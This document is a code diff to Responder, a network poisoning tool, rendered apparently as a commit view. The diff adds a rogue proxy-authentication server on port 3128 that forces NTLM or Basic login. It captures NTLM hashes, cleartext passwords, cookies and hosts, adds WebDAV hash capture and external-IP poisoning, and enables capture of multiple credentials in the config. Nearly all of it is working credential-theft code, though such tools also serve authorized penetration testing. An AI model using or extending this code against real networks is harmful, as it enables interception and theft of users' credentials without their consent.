Config dumped independently. Responder-Session.log is now a clean file.

README.md

@@ -89,7 +89,7 @@ Additionally, all captured hashed are logged into an SQLite database which you c
 
 ## Considerations ##
 
-- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587 and Multicast UDP 5553.
+- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553.
 
 - If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports.
 
@@ -121,7 +121,7 @@ Running the tool:
 
 Typical Usage Example:
 
-    ./Responder.py -I eth0 -rFv
+    ./Responder.py -I eth0 -rPv
 
 Options:
 
@@ -131,6 +131,11 @@ Options:
 	                        BROWSER, LLMNR requests without responding.
 	  -I eth0, --interface=eth0
 	                        Network interface to use.
+          -i 10.0.0.21, --ip=10.0.0.21
+                                Local IP to use (only for OSX)
+          -e 10.0.0.22, --externalip=10.0.0.22
+                                Poison all requests with another IP address than
+                                Responder's one.
 	  -b, --basic           Return a Basic HTTP authentication. Default: NTLM
 	  -r, --wredir          Enable answers for netbios wredir suffix queries.
 	                        Answering to wredir will likely break stuff on the
@@ -148,8 +153,12 @@ Options:
 	  -F, --ForceWpadAuth   Force NTLM/Basic authentication on wpad.dat file
 	                        retrieval. This may cause a login prompt. Default:
 	                        Off
+	  -P, --ProxyAuth       Force NTLM (transparently)/Basic (prompt) 
+                                authentication for the proxy. WPAD doesn't need to
+                                be ON. This option is highly effective when combined
+                                with -r. Default: Off
 	  --lm                  Force LM hashing downgrade for Windows XP/2003 and
-	                        earlier. Default: False
+	                        earlier. Default: Off
 	  -v, --verbose         Increase verbosity.
 	
 

Responder.conf

@@ -46,16 +46,21 @@ DontRespondTo =
 
 ; Specific NBT-NS/LLMNR names not to respond to (default = None)
 ; Example: DontRespondTo = NAC, IPS, IDS
-DontRespondToName =
+DontRespondToName = ISATAP
 
 ; If set to On, we will stop answering further requests from a host
-; if a hash hash been previously captured for this host.
+; if a hash has been previously captured for this host.
 AutoIgnoreAfterSuccess = Off
 
 ; If set to On, we will send ACCOUNT_DISABLED when the client tries
 ; to authenticate for the first time to try to get different credentials.
 ; This may break file serving and is useful only for hash capture
-CaptureMultipleCredentials = Off
+CaptureMultipleCredentials = On
+
+; If set to On, we will write to file all hashes captured from the same host. 
+; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto, 
+; domain\popo, domain\zozo. Recommended value: On, capture everything.
+CaptureMultipleHashFromSameHost = On
 
 [HTTP Server]
 
@@ -79,7 +84,7 @@ ExeFilename = files/BindShell.exe
 ExeDownloadName = ProxyClient.exe
 
 ; Custom WPAD Script
-WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
+WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return 'PROXY ProxySrv:3128; PROXY ProxySrv:3141; DIRECT';}
 
 ; HTML answer to inject in HTTP responses (before </body> tag).
 ; Set to an empty string to disable.

Responder.py

@@ -20,13 +20,16 @@ import ssl
 from SocketServer import TCPServer, UDPServer, ThreadingMixIn
 from threading import Thread
 from utils import *
-
+import struct
 banner()
 
 parser = optparse.OptionParser(usage='python %prog -I eth0 -w -r -f\nor:\npython %prog -I eth0 -wrf', version=settings.__version__, prog=sys.argv[0])
 parser.add_option('-A','--analyze',        action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
-parser.add_option('-I','--interface',      action="store",      help="Network interface to use", dest="Interface", metavar="eth0", default=None)
+parser.add_option('-I','--interface',      action="store",      help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None)
-parser.add_option('-i','--ip',      action="store",      help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
+parser.add_option('-i','--ip',             action="store",      help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
+
+parser.add_option('-e', "--externalip",    action="store",      help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP",  metavar="10.0.0.22", default=None)
+
 parser.add_option('-b', '--basic',         action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
 parser.add_option('-r', '--wredir',        action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False)
 parser.add_option('-d', '--NBTNSdomain',   action="store_true", help="Enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network. Default: False", dest="NBTNSDomain", default=False)
@@ -34,6 +37,9 @@ parser.add_option('-f','--fingerprint',    action="store_true", help="This optio
 parser.add_option('-w','--wpad',           action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
 parser.add_option('-u','--upstream-proxy', action="store",      help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
 parser.add_option('-F','--ForceWpadAuth',  action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
+
+parser.add_option('-P','--ProxyAuth',       action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective when combined with -r. Default: False", dest="ProxyAuth_On_Off", default=False)
+
 parser.add_option('--lm',                  action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
 parser.add_option('-v','--verbose',        action="store_true", help="Increase verbosity.", dest="Verbose")
 options, args = parser.parse_args()
@@ -74,6 +80,16 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
 				pass
 		TCPServer.server_bind(self)
 
+class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
+	def server_bind(self):
+		if OsInterfaceIsSupported():
+			try:
+				self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
+			except:
+				pass
+                self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
+		TCPServer.server_bind(self)
+
 class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
 	def server_bind(self):
 		MADDR = "224.0.0.251"
@@ -110,6 +126,7 @@ ThreadingUDPServer.allow_reuse_address = 1
 ThreadingTCPServer.allow_reuse_address = 1
 ThreadingUDPMDNSServer.allow_reuse_address = 1
 ThreadingUDPLLMNRServer.allow_reuse_address = 1
+ThreadingTCPServerAuth.allow_reuse_address = 1
 
 def serve_thread_udp_broadcast(host, port, handler):
 	try:
@@ -157,6 +174,17 @@ def serve_thread_tcp(host, port, handler):
 	except:
 		print color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running."
 
+def serve_thread_tcp_auth(host, port, handler):
+	try:
+		if OsInterfaceIsSupported():
+			server = ThreadingTCPServerAuth((settings.Config.Bind_To, port), handler)
+			server.serve_forever()
+		else:
+			server = ThreadingTCPServerAuth((host, port), handler)
+			server.serve_forever()
+	except:
+		print color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running."
+
 def serve_thread_SSL(host, port, handler):
 	try:
 
@@ -202,6 +230,10 @@ def main():
 			from servers.HTTP_Proxy import HTTP_Proxy
 			threads.append(Thread(target=serve_thread_tcp, args=('', 3141, HTTP_Proxy,)))
 
+		if settings.Config.ProxyAuth_On_Off:
+		        from servers.Proxy_Auth import Proxy_Auth
+		        threads.append(Thread(target=serve_thread_tcp_auth, args=('', 3128, Proxy_Auth,)))
+
 		if settings.Config.SMB_On_Off:
 			if settings.Config.LM_On_Off:
 				from servers.SMB import SMB1LM

packets.py

@@ -19,6 +19,7 @@ import settings
 
 from base64 import b64decode, b64encode
 from odict import OrderedDict
+from utils import HTTPCurrentDate, RespondWithIPAton
 
 # Packet class handling all packet generation (see odict.py).
 class Packet():
@@ -56,7 +57,7 @@ class NBT_Ans(Packet):
 	def calculate(self,data):
 		self.fields["Tid"] = data[0:2]
 		self.fields["NbtName"] = data[12:46]
-		self.fields["IP"] = settings.Config.IP_aton
+                self.fields["IP"] = RespondWithIPAton()
 
 # DNS Answer Packet
 class DNS_Ans(Packet):
@@ -82,7 +83,7 @@ class DNS_Ans(Packet):
 	def calculate(self,data):
 		self.fields["Tid"] = data[0:2]
 		self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
-		self.fields["IP"] = settings.Config.IP_aton
+                self.fields["IP"] = RespondWithIPAton()
 		self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
 
 # LLMNR Answer Packet
@@ -110,7 +111,7 @@ class LLMNR_Ans(Packet):
 	])
 
 	def calculate(self):
-		self.fields["IP"] = settings.Config.IP_aton
+                self.fields["IP"] = RespondWithIPAton()
 		self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
 		self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1]
 		self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1]
@@ -204,11 +205,10 @@ class NTLM_Challenge(Packet):
 class IIS_Auth_401_Ans(Packet):
 	fields = OrderedDict([
 		("Code",          "HTTP/1.1 401 Unauthorized\r\n"),
-		("ServerType",    "Server: Microsoft-IIS/6.0\r\n"),
+		("ServerType",    "Server: Microsoft-IIS/7.5\r\n"),
-		("Date",          "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
+		("Date",          "Date: "+HTTPCurrentDate()+"\r\n"),
 		("Type",          "Content-Type: text/html\r\n"),
 		("WWW-Auth",      "WWW-Authenticate: NTLM\r\n"),
-		("PoweredBy",     "X-Powered-By: ASP.NET\r\n"),
 		("Len",           "Content-Length: 0\r\n"),
 		("CRLF",          "\r\n"),
 	])
@@ -216,11 +216,10 @@ class IIS_Auth_401_Ans(Packet):
 class IIS_Auth_Granted(Packet):
 	fields = OrderedDict([
 		("Code",          "HTTP/1.1 200 OK\r\n"),
-		("ServerType",    "Server: Microsoft-IIS/6.0\r\n"),
+		("ServerType",    "Server: Microsoft-IIS/7.5\r\n"),
-		("Date",          "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
+		("Date",          "Date: "+HTTPCurrentDate()+"\r\n"),
 		("Type",          "Content-Type: text/html\r\n"),
 		("WWW-Auth",      "WWW-Authenticate: NTLM\r\n"),
-		("PoweredBy",     "X-Powered-By: ASP.NET\r\n"),
 		("ContentLen",    "Content-Length: "),
 		("ActualLen",     "76"),
 		("CRLF",          "\r\n\r\n"),
@@ -232,13 +231,12 @@ class IIS_Auth_Granted(Packet):
 class IIS_NTLM_Challenge_Ans(Packet):
 	fields = OrderedDict([
 		("Code",          "HTTP/1.1 401 Unauthorized\r\n"),
-		("ServerType",    "Server: Microsoft-IIS/6.0\r\n"),
+		("ServerType",    "Server: Microsoft-IIS/7.5\r\n"),
-		("Date",          "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
+		("Date",          "Date: "+HTTPCurrentDate()+"\r\n"),
 		("Type",          "Content-Type: text/html\r\n"),
 		("WWWAuth",       "WWW-Authenticate: NTLM "),
 		("Payload",       ""),
 		("Payload-CRLF",  "\r\n"),
-		("PoweredBy",     "X-Powered-By: ASP.NC0CD7B7802C76736E9B26FB19BEB2D36290B9FF9A46EDDA5ET\r\n"),
 		("Len",           "Content-Length: 0\r\n"),
 		("CRLF",          "\r\n"),
 	])
@@ -249,11 +247,10 @@ class IIS_NTLM_Challenge_Ans(Packet):
 class IIS_Basic_401_Ans(Packet):
 	fields = OrderedDict([
 		("Code",          "HTTP/1.1 401 Unauthorized\r\n"),
-		("ServerType",    "Server: Microsoft-IIS/6.0\r\n"),
+		("ServerType",    "Server: Microsoft-IIS/7.5\r\n"),
-		("Date",          "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
+		("Date",          "Date: "+HTTPCurrentDate()+"\r\n"),
 		("Type",          "Content-Type: text/html\r\n"),
 		("WWW-Auth",      "WWW-Authenticate: Basic realm=\"Authentication Required\"\r\n"),
-		("PoweredBy",     "X-Powered-By: ASP.NET\r\n"),
 		("AllowOrigin",   "Access-Control-Allow-Origin: *\r\n"),
 		("AllowCreds",    "Access-Control-Allow-Credentials: true\r\n"),
 		("Len",           "Content-Length: 0\r\n"),
@@ -264,10 +261,9 @@ class IIS_Basic_401_Ans(Packet):
 class WPADScript(Packet):
 	fields = OrderedDict([
 		("Code",          "HTTP/1.1 200 OK\r\n"),
-		("ServerTlype",    "Server: Microsoft-IIS/6.0\r\n"),
+		("ServerTlype",    "Server: Microsoft-IIS/7.5\r\n"),
-		("Date",          "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
+		("Date",          "Date: "+HTTPCurrentDate()+"\r\n"),
 		("Type",          "Content-Type: application/x-ns-proxy-autoconfig\r\n"),
-		("PoweredBy",     "X-Powered-By: ASP.NET\r\n"),
 		("ContentLen",    "Content-Length: "),
 		("ActualLen",     "76"),
 		("CRLF",          "\r\n\r\n"),
@@ -280,16 +276,15 @@ class ServeExeFile(Packet):
 	fields = OrderedDict([
 		("Code",          "HTTP/1.1 200 OK\r\n"),
 		("ContentType",   "Content-Type: application/octet-stream\r\n"),
-		("LastModified",  "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
+		("LastModified",  "Last-Modified: "+HTTPCurrentDate()+"\r\n"),
 		("AcceptRanges",  "Accept-Ranges: bytes\r\n"),
 		("Server",        "Server: Microsoft-IIS/7.5\r\n"),
-		("PoweredBy",     "X-Powered-By: ASP.NET\r\n"),
 		("ContentDisp",   "Content-Disposition: attachment; filename="),
 		("ContentDiFile", ""),
 		("FileCRLF",      ";\r\n"),
 		("ContentLen",    "Content-Length: "),
 		("ActualLen",     "76"),
-		("Date",          "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
+		("Date",          "\r\nDate: "+HTTPCurrentDate()+"\r\n"),
 		("Connection",    "Connection: keep-alive\r\n"),
 		("X-CCC",         "US\r\n"),
 		("X-CID",         "2\r\n"),
@@ -303,13 +298,12 @@ class ServeHtmlFile(Packet):
 	fields = OrderedDict([
 		("Code",          "HTTP/1.1 200 OK\r\n"),
 		("ContentType",   "Content-Type: text/html\r\n"),
-		("LastModified",  "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
+		("LastModified",  "Last-Modified: "+HTTPCurrentDate()+"\r\n"),
 		("AcceptRanges",  "Accept-Ranges: bytes\r\n"),
 		("Server",        "Server: Microsoft-IIS/7.5\r\n"),
-		("PoweredBy",     "X-Powered-By: ASP.NET\r\n"),
 		("ContentLen",    "Content-Length: "),
 		("ActualLen",     "76"),
-		("Date",          "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
+		("Date",          "\r\nDate: "+HTTPCurrentDate()+"\r\n"),
 		("Connection",    "Connection: keep-alive\r\n"),
 		("CRLF",          "\r\n"),
 		("Payload",       "jj"),
@@ -317,6 +311,68 @@ class ServeHtmlFile(Packet):
 	def calculate(self):
 		self.fields["ActualLen"] = len(str(self.fields["Payload"]))
 
+##### WPAD Auth Packets #####
+class WPAD_Auth_407_Ans(Packet):
+	fields = OrderedDict([
+		("Code",          "HTTP/1.1 407 Unauthorized\r\n"),
+		("ServerType",    "Server: Microsoft-IIS/7.5\r\n"),
+		("Date",          "Date: "+HTTPCurrentDate()+"\r\n"),
+		("Type",          "Content-Type: text/html\r\n"),
+		("WWW-Auth",      "Proxy-Authenticate: NTLM\r\n"),
+		("Connection",    "Proxy-Connection: close\r\n"),
+		("Cache-Control",    "Cache-Control: no-cache\r\n"),
+		("Pragma",        "Pragma: no-cache\r\n"),
+		("Proxy-Support", "Proxy-Support: Session-Based-Authentication\r\n"),
+		("Len",           "Content-Length: 0\r\n"),
+		("CRLF",          "\r\n"),
+	])
+
+
+class WPAD_NTLM_Challenge_Ans(Packet):
+	fields = OrderedDict([
+		("Code",          "HTTP/1.1 407 Unauthorized\r\n"),
+		("ServerType",    "Server: Microsoft-IIS/7.5\r\n"),
+		("Date",          "Date: "+HTTPCurrentDate()+"\r\n"),
+		("Type",          "Content-Type: text/html\r\n"),
+		("WWWAuth",       "Proxy-Authenticate: NTLM "),
+		("Payload",       ""),
+		("Payload-CRLF",  "\r\n"),
+		("Len",           "Content-Length: 0\r\n"),
+		("CRLF",          "\r\n"),
+	])
+
+	def calculate(self,payload):
+		self.fields["Payload"] = b64encode(payload)
+
+class WPAD_Basic_407_Ans(Packet):
+	fields = OrderedDict([
+		("Code",          "HTTP/1.1 407 Unauthorized\r\n"),
+		("ServerType",    "Server: Microsoft-IIS/7.5\r\n"),
+		("Date",          "Date: "+HTTPCurrentDate()+"\r\n"),
+		("Type",          "Content-Type: text/html\r\n"),
+		("WWW-Auth",      "Proxy-Authenticate: Basic realm=\"Authentication Required\"\r\n"),
+		("Connection",    "Proxy-Connection: close\r\n"),
+		("Cache-Control",    "Cache-Control: no-cache\r\n"),
+		("Pragma",        "Pragma: no-cache\r\n"),
+		("Proxy-Support", "Proxy-Support: Session-Based-Authentication\r\n"),
+		("Len",           "Content-Length: 0\r\n"),
+		("CRLF",          "\r\n"),
+	])
+
+##### WEB Dav Stuff #####
+class WEBDAV_Options_Answer(Packet):
+	fields = OrderedDict([
+		("Code",          "HTTP/1.1 200 OK\r\n"),
+		("Date",          "Date: "+HTTPCurrentDate()+"\r\n"),
+		("ServerType",    "Server: Microsoft-IIS/7.5\r\n"),
+		("Allow",         "Allow: GET,HEAD,POST,OPTIONS,TRACE\r\n"),
+		("Len",           "Content-Length: 0\r\n"),
+		("Keep-Alive:", "Keep-Alive: timeout=5, max=100\r\n"),
+		("Connection",    "Connection: Keep-Alive\r\n"),
+		("Content-Type",  "Content-Type: text/html\r\n"),
+		("CRLF",          "\r\n"),
+	])
+
 ##### FTP Packets #####
 class FTPPacket(Packet):
 	fields = OrderedDict([
@@ -1540,3 +1596,5 @@ class SMB2Session2Data(Packet):
 		("SecBlobOffSet",   "\x00\x00\x00\x00"),
     ])
 
+
+

poisoners/MDNS.py

@@ -36,7 +36,6 @@ def Poisoned_MDNS_Name(data):
 	data = data[12:]
 	return data[:len(data)-5]
 
-
 class MDNS(BaseRequestHandler):
 	def handle(self):
 		MADDR = "224.0.0.251"
@@ -56,7 +55,7 @@ class MDNS(BaseRequestHandler):
 			if Parse_IPV6_Addr(data):
 
 				Poisoned_Name = Poisoned_MDNS_Name(data)
-				Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=socket.inet_aton(settings.Config.Bind_To))
+				Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton())
 				Buffer.calculate()
 				soc.sendto(str(Buffer), (MADDR, MPORT))
 

servers/HTTP.py

@@ -14,18 +14,18 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import struct
 from SocketServer import BaseRequestHandler, StreamRequestHandler
 from base64 import b64decode
-import struct
 from utils import *
 
 from packets import NTLM_Challenge
-from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans
+from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer
 from packets import WPADScript, ServeExeFile, ServeHtmlFile
 
 
 # Parse NTLMv1/v2 hash.
-def ParseHTTPHash(data, client):
+def ParseHTTPHash(data, client, module):
 	LMhashLen    = struct.unpack('<H',data[12:14])[0]
 	LMhashOffset = struct.unpack('<H',data[16:18])[0]
 	LMHash       = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
@@ -43,9 +43,8 @@ def ParseHTTPHash(data, client):
 		HostNameOffset  = struct.unpack('<H',data[48:50])[0]
 		HostName        = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
 		WriteHash       = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, settings.Config.NumChal)
-
 		SaveToDb({
-			'module': 'HTTP', 
+			'module': module, 
 			'type': 'NTLMv1', 
 			'client': client, 
 			'host': HostName, 
@@ -65,7 +64,7 @@ def ParseHTTPHash(data, client):
 		WriteHash      = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
                  
 		SaveToDb({
-			'module': 'HTTP', 
+			'module': module, 
 			'type': 'NTLMv2', 
 			'client': client, 
 			'host': HostName, 
@@ -104,14 +103,46 @@ def GrabReferer(data, host):
 		return Referer
 	return False
 
+def SpotFirefox(data):
+	UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data)
+        print text("[HTTP] %s" % color("User-Agent        : "+UserAgent[0], 2))
+	if UserAgent:
+                IsFirefox = re.search('Firefox', UserAgent[0])
+                if IsFirefox:
+                        print color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1)
+                        print color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1)
+                        return True
+                else:
+	               return False
+
 def WpadCustom(data, client):
 	Wpad = re.search(r'(/wpad.dat|/*\.pac)', data)
-	if Wpad:
+	if Wpad and SpotFirefox(data):
+		Buffer = WPADScript(Payload="function FindProxyForURL(url, host){return 'DIRECT';}")
+		Buffer.calculate()
+		return str(Buffer)
+
+	if Wpad and SpotFirefox(data) == False:
 		Buffer = WPADScript(Payload=settings.Config.WPAD_Script)
 		Buffer.calculate()
 		return str(Buffer)
 	return False
 
+def IsWebDAV(data):
+        dav = re.search('PROPFIND', data)
+        if dav:
+              return True
+        else:
+              return False
+
+def ServeOPTIONS(data):
+	WebDav= re.search('OPTIONS', data)
+	if WebDav:
+		Buffer = WEBDAV_Options_Answer()
+		return str(Buffer)
+
+	return False
+
 def ServeFile(Filename):
 	with open (Filename, "rb") as bk:
 		return bk.read()
@@ -125,7 +156,6 @@ def RespondWithFile(client, filename, dlname=None):
 
 	Buffer.calculate()
 	print text("[HTTP] Sending file %s to %s" % (filename, client))
-
 	return str(Buffer)
 
 def GrabURL(data, host):
@@ -138,6 +168,7 @@ def GrabURL(data, host):
 
 	if POST and settings.Config.Verbose:
 		print text("[HTTP] POST request from: %-15s  URL: %s" % (host, color(''.join(POST), 5)))
+
 		if len(''.join(POSTDATA)) > 2:
 			print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())
 
@@ -155,10 +186,12 @@ def PacketSequence(data, client):
 		return RespondWithFile(client, settings.Config.Html_Filename)
 
 	WPAD_Custom = WpadCustom(data, client)
+        # Webdav
+        if ServeOPTIONS(data):
+                return ServeOPTIONS(data)
 
 	if NTLM_Auth:
 		Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
-
 		if Packet_NTLM == "\x01":
 			GrabURL(data, client)
 			GrabReferer(data, client)
@@ -170,15 +203,19 @@ def PacketSequence(data, client):
 
 			Buffer_Ans = IIS_NTLM_Challenge_Ans()
 			Buffer_Ans.calculate(str(Buffer))
-
 			return str(Buffer_Ans)
 
 		if Packet_NTLM == "\x03":
 			NTLM_Auth = b64decode(''.join(NTLM_Auth))
-			ParseHTTPHash(NTLM_Auth, client)
+                        if IsWebDAV(data):
+                                 module = "WebDAV"
+                        else:
+                                 module = "HTTP"
+			ParseHTTPHash(NTLM_Auth, client, module)
 
 			if settings.Config.Force_WPAD_Auth and WPAD_Custom:
 				print text("[HTTP] WPAD (auth) file sent to %s" % client)
+
 				return WPAD_Custom
 			else:
 				Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
@@ -204,6 +241,7 @@ def PacketSequence(data, client):
 		if settings.Config.Force_WPAD_Auth and WPAD_Custom:
 			if settings.Config.Verbose:
 				print text("[HTTP] WPAD (auth) file sent to %s" % client)
+
 			return WPAD_Custom
 		else:
 			Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
@@ -214,18 +252,21 @@ def PacketSequence(data, client):
 			Response = IIS_Basic_401_Ans()
 			if settings.Config.Verbose:
 				print text("[HTTP] Sending BASIC authentication request to %s" % client)
+
 		else:
 			Response = IIS_Auth_401_Ans()
 			if settings.Config.Verbose:
 				print text("[HTTP] Sending NTLM authentication request to %s" % client)
+
 		return str(Response)
 
 # HTTP Server class
 class HTTP(BaseRequestHandler):
+
 	def handle(self):
 		try:
-			while True:
+                	for x in range(2):   
-				self.request.settimeout(1)
+				self.request.settimeout(3)
 				data = self.request.recv(8092)
 				Buffer = WpadCustom(data, self.client_address[0])
 
@@ -249,19 +290,18 @@ class HTTPS(StreamRequestHandler):
 
 	def handle(self):
 		try:
-			while True:
+			data = self.exchange.recv(8092)
-				data = self.exchange.recv(8092)
+			self.exchange.settimeout(0.5)
-				self.exchange.settimeout(0.5)
+			Buffer = WpadCustom(data,self.client_address[0])
-				Buffer = WpadCustom(data,self.client_address[0])
 				
-				if Buffer and settings.Config.Force_WPAD_Auth == False:
+			if Buffer and settings.Config.Force_WPAD_Auth == False:
-					self.exchange.send(Buffer)
+				self.exchange.send(Buffer)
-					if settings.Config.Verbose:
+				if settings.Config.Verbose:
-						print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
+					print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
 
-				else:
+			else:
-					Buffer = PacketSequence(data,self.client_address[0])
+				Buffer = PacketSequence(data,self.client_address[0])
-					self.exchange.send(Buffer)
+				self.exchange.send(Buffer)
 		except:
 			pass
 

servers/HTTP_Proxy.py

@@ -344,3 +344,4 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
 	do_POST = do_GET
 	do_PUT  = do_GET
 	do_DELETE=do_GET
+

servers/Proxy_Auth.py

@@ -0,0 +1,110 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import SocketServer
+from HTTP import ParseHTTPHash
+from packets import *
+from utils import *
+
+def GrabUserAgent(data):
+	UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data)
+        print text("[Proxy-Auth] %s" % color("User-Agent        : "+UserAgent[0], 2))
+
+def GrabCookie(data):
+	Cookie = re.search(r'(Cookie:*.\=*)[^\r\n]*', data)
+
+	if Cookie:
+		Cookie = Cookie.group(0).replace('Cookie: ', '')
+		if len(Cookie) > 1:
+                        if settings.Config.Verbose:
+			        print text("[Proxy-Auth] %s" % color("Cookie           : "+Cookie, 2))
+
+		return Cookie
+	return False
+
+def GrabHost(data):
+	Host = re.search(r'(Host:*.\=*)[^\r\n]*', data)
+
+	if Host:
+		Host = Host.group(0).replace('Host: ', '')
+                if settings.Config.Verbose:
+		        print text("[Proxy-Auth] %s" % color("Host             : "+Host, 2))
+
+		return Host
+	return False
+
+def PacketSequence(data, client):
+	NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
+	Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)	
+	if NTLM_Auth:
+		Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
+		if Packet_NTLM == "\x01":
+			if settings.Config.Verbose:
+				print text("[Proxy-Auth] Sending NTLM authentication request to %s" % client)
+
+			Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge)
+			Buffer.calculate()
+			Buffer_Ans = WPAD_NTLM_Challenge_Ans()
+			Buffer_Ans.calculate(str(Buffer))
+			return str(Buffer_Ans)
+		if Packet_NTLM == "\x03":
+			NTLM_Auth = b64decode(''.join(NTLM_Auth))
+       	                ParseHTTPHash(NTLM_Auth, client, "Proxy-Auth")
+                        GrabUserAgent(data)
+                        GrabCookie(data)
+                        GrabHost(data)
+   	                return False #Send a RST with SO_LINGER when close() is called (see Responder.py)
+		else:
+               		return False
+
+	elif Basic_Auth:
+                GrabUserAgent(data)
+                GrabCookie(data)
+                GrabHost(data)
+		ClearText_Auth = b64decode(''.join(Basic_Auth))
+		SaveToDb({
+			'module': 'Proxy-Auth', 
+			'type': 'Basic', 
+			'client': client, 
+			'user': ClearText_Auth.split(':')[0], 
+			'cleartext': ClearText_Auth.split(':')[1], 
+			})
+
+		return False
+	else:
+		if settings.Config.Basic:
+			Response = WPAD_Basic_407_Ans()
+			if settings.Config.Verbose:
+				print text("[Proxy-Auth] Sending BASIC authentication request to %s" % client)
+
+		else:
+			Response = WPAD_Auth_407_Ans()
+
+		return str(Response)
+
+class Proxy_Auth(SocketServer.BaseRequestHandler):
+
+
+    def handle(self):
+		try:
+                    for x in range(2):
+                        data = self.request.recv(4096)
